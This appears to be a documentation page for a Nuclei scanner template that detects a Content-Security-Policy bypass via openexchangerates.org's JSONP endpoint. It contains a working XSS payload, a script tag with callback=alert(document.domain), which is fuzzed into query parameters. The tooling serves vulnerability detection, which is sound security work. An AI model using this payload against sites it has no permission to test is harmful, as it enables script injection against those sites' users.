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Content-Security-Policy Bypass - OpenExchangeRates

ID: openexchangerates-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,openexchangerates

id: openexchangerates-csp-bypass
info:
name: Content-Security-Policy Bypass - OpenExchangeRates
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,openexchangerates
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "openexchangerates.org"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: openexchangerates_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://openexchangerates.org/api/latest.json?app_id=4a363014b909486b8f49d967b810a6c3&callback=alert(document.domain)"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "openexchangerates_csp_xss == true"
# digest: 4a0a004730450220306923f1d34c579407f3b94e65f76684286064daa6476917365b8ba85dd27cb5022100992ac1aa6b1d9d4621a14bc2836731a260f1634ab32a06bed9c9231b7b38971b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/openexchangerates-csp-bypass.yaml"

View on Github